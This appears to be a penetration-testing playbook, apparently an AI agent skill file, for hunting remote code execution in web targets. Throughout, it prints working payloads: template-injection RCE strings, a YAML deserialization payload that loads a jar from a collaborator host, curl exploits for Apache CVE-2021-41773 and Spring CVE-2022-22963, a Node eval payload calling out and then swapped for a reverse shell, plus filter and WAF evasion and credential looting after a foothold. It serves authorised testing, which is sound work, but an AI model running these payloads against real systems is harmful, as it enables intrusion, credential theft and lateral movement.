Hunt Rce

Hunt: Remote Code Execution

Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

Wiki

qmd_query "remote code execution command injection template injection deserialization CVE" via wiki-search MCP

Hub: [[web-moc]] (live web index). Primary page: [[os-command-injection]]. Payload arsenal: wiki/payloads/command-injection.md. Anchors: [[ssti]], [[insecure-deserialization]].

Attack surface signals

Rank before probing. Not every free-text field is equally likely to reach an interpreter:

• Config / template editors - Nomad, CI job specs, notification templates: user text is compiled, not just stored.
• Import / render / export endpoints - ?template=, ?url=, document generation, PDF/HTML renderers.
• Admin and management consoles - richer surface, weaker input handling, often the shortest path.
• Deserialization sinks - any endpoint eating a serialized blob (magic bytes, !! YAML tags, Java AC ED, PHP O:).
• Version-pinned components - a fingerprinted Apache 2.4.49 / Spring Cloud Function beats blind probing.

URL patterns: /management-console/*, /admin/settings/*, /webhook/*, /render?template=, /import?url=

Tech stack signals:

Methodology

0. Prefer a vetted module over a hand-rolled exploit. For a known CVE/product, check Metasploit FIRST: bash /root/vm.sh "msfconsole -q -x 'search <cve-or-product>; exit'". If a module exists, run it non-interactively (use <mod>; set RHOSTS <ip>; set LHOST <vpn-ip>; run -z; sessions -l; exit) rather than writing bespoke exploit code - faster, more reliable, and the exploit logic lives in the vetted module. Hand-roll only when no module fits.
1. Map execution contexts: template engines, shell commands, YAML parsers, file paths, package resolution
2. Enumerate admin/management interfaces: /management-console, /admin, /_internal, /setup
3. Template injection probe in every config/free-text field:

{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}

Look for 49 in response, logs, or OOB DNS callbacks.

3b. Server-side eval/exec sink (Node/Python/Ruby cmd-style param): an endpoint that returns a FIXED message/200 for EVERY body may be eval()-ing a specific param and swallowing the error. Response-diff param-mining MISSES this (cmd=test -> eval error -> same message), so mine with an actual PAYLOAD + OOB, and test BOTH the query-string AND the body (the sink is often on ONE of them only). Node example: curl -sG -X POST --data-urlencode 'cmd=require("child_process").exec("curl http://OOB/x")' TARGET -> a callback confirms the sink; then swap the payload for a reverse shell. (Seen on a Node/Express box: a POST /api/<x>?cmd= query param was eval'd server-side while the body/form cmd did nothing.)

4. YAML deserialization:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[!!java.net.URL ["http://YOUR_COLLAB/exploit.jar"]]]
]

5. Apache CVE-2021-41773/42013 (Apache 2.4.49/2.4.50):

# File read
curl --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
# RCE (cgi-bin alias required)
curl --path-as-is -X POST \
  -d "echo Content-Type: text/plain; echo; id" \
  "http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

6. Spring Cloud Function SpEL (CVE-2022-22963):

curl -X POST http://target:8080/functionRouter \
  -H "Content-Type: text/plain" \
  -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' \
  --data "x"

7. Chain: low-severity misconfig (CSRF, traversal) + RCE primitive = critical
8. Distill (when confirmed) a reusable template bypass / new CVE, GENERIC, no client host: python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/os-command-injection.md

Safe-PoC first. Every probe above runs id (or a bare OOB callback), never a destructive command. Only after a callback or command output confirms the sink do you swap in a reverse shell. Never run a state-changing command (delete, overwrite, service restart) to prove exec - id proves it and destroys nothing.

Template Injection RCE Payloads

# Jinja2
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# ERB (Ruby)
<%= `id` %>

# Freemarker
<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}

Evasion

When a probe is filtered rather than absent, the sink may still be reachable:

• Command filters: $IFS (or ${IFS}) for blocked spaces, quote/backslash breaking (c""url, w\get), base64 -d | sh, wildcard globbing (/???/??t), $(...) / backticks, and env-var indirection.
• Template keyword filters: rebuild blocked names via attribute access and concatenation (Jinja request|attr('application')..., 'os' assembled from chars) rather than the literal os/popen.
• WAF on the body: move the payload to the query string (or vice versa) - the eval sink in step 3b frequently lives on only one of them.

Marker discipline (hunt-core): use a unique 8+ char canary in reflected/SSTI probes, never test, and check the baseline for it before claiming reflection.

Confirmation gate

NOT confirmation:

• a delayed response alone - load or a slow upstream, not proof of sleep.
• an error echoing your input - reflection is not execution.
• a 500 / stack trace - a parser choking is not code running.
• {{7*7}} returned literally, or a fixed 200 for every body (the eval-swallow case in 3b).
• 49 from {{7*7}} on its own - that is template evaluation, not yet an exec primitive.

IS confirmation:

• injected command output in the response matching what you ran (e.g. uid=... gid=... from id), reproduced in a clean session against your own written steps.
• for SSTI: 49 PLUS a follow-up payload that reaches an os/runtime primitive and returns its output.
• for blind (no output channel): an out-of-band callback correlated to your planted token - see below.

Blind RCE is OOB-gated, never inferred. Plant an interactsh / Burp Collaborator token, then append a row to targets/<eng>/oob.md:

| <token> | <sink url+param> | rce | <date> | waiting | |

(columns: token | sink | class | planted | status | source; token = your unique interactsh/Collaborator label). The recon-capture hook auto-correlates an incoming callback to flip the row to HIT and SessionStart surfaces HITs; a HIT row is the confirmation gate to scaffold the FIND. Do NOT claim a blind RCE without a HIT row.

Drive load-bearing exploit requests through Burp Repeater (Skill(hunt-burp) / Burp MCP) so the operator can replay the injection; fuzz belongs in Intruder, not a hand-rolled loop.

Chaining

RCE is rarely the finish line. Once exec is confirmed:

• Loot credentials from the foothold - env vars, config files, cloud metadata, .git-credentials, connection strings. Hand off to hunt-secrets.
• Lateral movement - reused creds, service tokens, and internal trust from the RCE host pivot into the domain. Hand off to hunt-ad.
• Vector-specific siblings - a serialized-blob sink is hunt-deserialization; a container/orchestrator surface is hunt-cloud.

Report the chain, not just the primitive: pre-auth RCE plus credential reuse implicates far more than the one host.

Severity

Rate on demonstrated execution, not the theoretical ceiling. Unauthenticated / pre-auth RCE outranks post-auth by a band. A sink you can only trigger with a precondition you cannot meet (an admin-only field, an unreachable header) lowers it.